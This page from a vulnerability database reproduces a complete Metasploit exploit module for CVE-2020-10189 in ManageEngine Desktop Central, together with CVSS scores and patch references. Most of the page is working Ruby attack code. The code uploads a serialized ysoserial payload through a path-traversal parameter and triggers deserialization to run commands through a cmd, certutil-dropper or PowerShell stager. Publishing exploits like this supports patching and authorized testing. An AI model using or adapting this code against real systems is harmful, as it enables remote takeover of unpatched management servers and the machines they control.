Lucene search
K

ManageEngine Desktop Central - Java Deserialization (Metasploit)

🗓️ 17 Mar 2020 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 384 Views

This module exploits a Java deserialization vulnerability in the getChartImage() method from the FileStorage class within ManageEngine Desktop Central versions < 10.0.474. Tested against 10.0.465 x64. "The short-term fix for the arbitrary file upload vulnerability was released in build 10.0.474 on January 20, 2020. In continuation of that, the complete fix for the remote code execution vulnerability is now available in build 10.0.479.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'ManageEngine Desktop Central Java Deserialization',
      'Description'      => %q{
        This module exploits a Java deserialization vulnerability in the
        getChartImage() method from the FileStorage class within ManageEngine
        Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.

        "The short-term fix for the arbitrary file upload vulnerability was
        released in build 10.0.474 on January 20, 2020. In continuation of that,
        the complete fix for the remote code execution vulnerability is now
        available in build 10.0.479."
      },
      'Author'           => [
        'mr_me', # Discovery and exploit
        'wvu'    # Module
      ],
      'References'       => [
        ['CVE', '2020-10189'],
        ['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
        ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
        ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
        ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
      ],
      'DisclosureDate'   => '2020-03-05', # 0day release
      'License'          => MSF_LICENSE,
      'Platform'         => 'windows',
      'Arch'             => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'       => true,
      'Targets'          => [
        ['Windows Command',
          'Arch'         => ARCH_CMD,
          'Type'         => :win_cmd
        ],
        ['Windows Dropper',
          'Arch'         => [ARCH_X86, ARCH_X64],
          'Type'         => :win_dropper
        ],
        ['PowerShell Stager',
          'Arch'         => [ARCH_X86, ARCH_X64],
          'Type'         => :psh_stager
        ]
      ],
      'DefaultTarget'    => 2,
      'DefaultOptions'   => {
        'RPORT'          => 8383,
        'SSL'            => true,
        'WfsDelay'       => 60 # It can take a little while to trigger
      },
      'CmdStagerFlavor'  => 'certutil', # This works without issue
      'Notes'            => {
        'PatchedVersion' => Gem::Version.new('100474'),
        'Stability'      => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
        'Reliability'    => [FIRST_ATTEMPT_FAIL],    # Payload upload may fail
        'SideEffects'    => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'configurations.do')
    )

    unless res
      return CheckCode::Unknown('Target is not responding to check')
    end

    unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
      return CheckCode::Unknown('Target is not running Desktop Central')
    end

    version = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text

    unless version
      return CheckCode::Detected('Could not detect Desktop Central version')
    end

    vprint_status("Detected Desktop Central version #{version}")

    if Gem::Version.new(version) < notes['PatchedVersion']
      return CheckCode::Appears("#{version} is an exploitable version")
    end

    CheckCode::Safe("#{version} is not an exploitable version")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def execute_command(cmd, _opts = {})
    # XXX: An executable is required to run arbitrary commands
    cmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper

    vprint_status("Serializing command: #{cmd}")

    # I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
    serialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload(
      'CommonsBeanutils1',
      cmd
    )

    # XXX: Patch in expected serialVersionUID
    serialized_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"

    # Rock 'n' roll!
    upload_serialized_payload(serialized_payload)
    deserialize_payload
  end

  def upload_serialized_payload(serialized_payload)
    print_status('Uploading serialized payload')

    res = send_request_cgi(
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path,
                                    '/mdm/client/v1/mdmLogUploader'),
      'ctype'      => 'application/octet-stream',
      'vars_get'   => {
        'udid'     => 'si\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
        'filename' => 'logger.zip'
      },
      'data'       => serialized_payload
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
    end

    print_good('Successfully uploaded serialized payload')

    # C:\Program Files\DesktopCentral_Server\bin
    register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
  end

  def deserialize_payload
    print_status('Deserializing payload')

    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'cewolf/'),
      'vars_get' => {'img' => '\\logger.zip'}
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
    end

    print_good('Successfully deserialized payload')
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2020 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 210
CVSS 39.8
EPSS0.94248
SSVC
384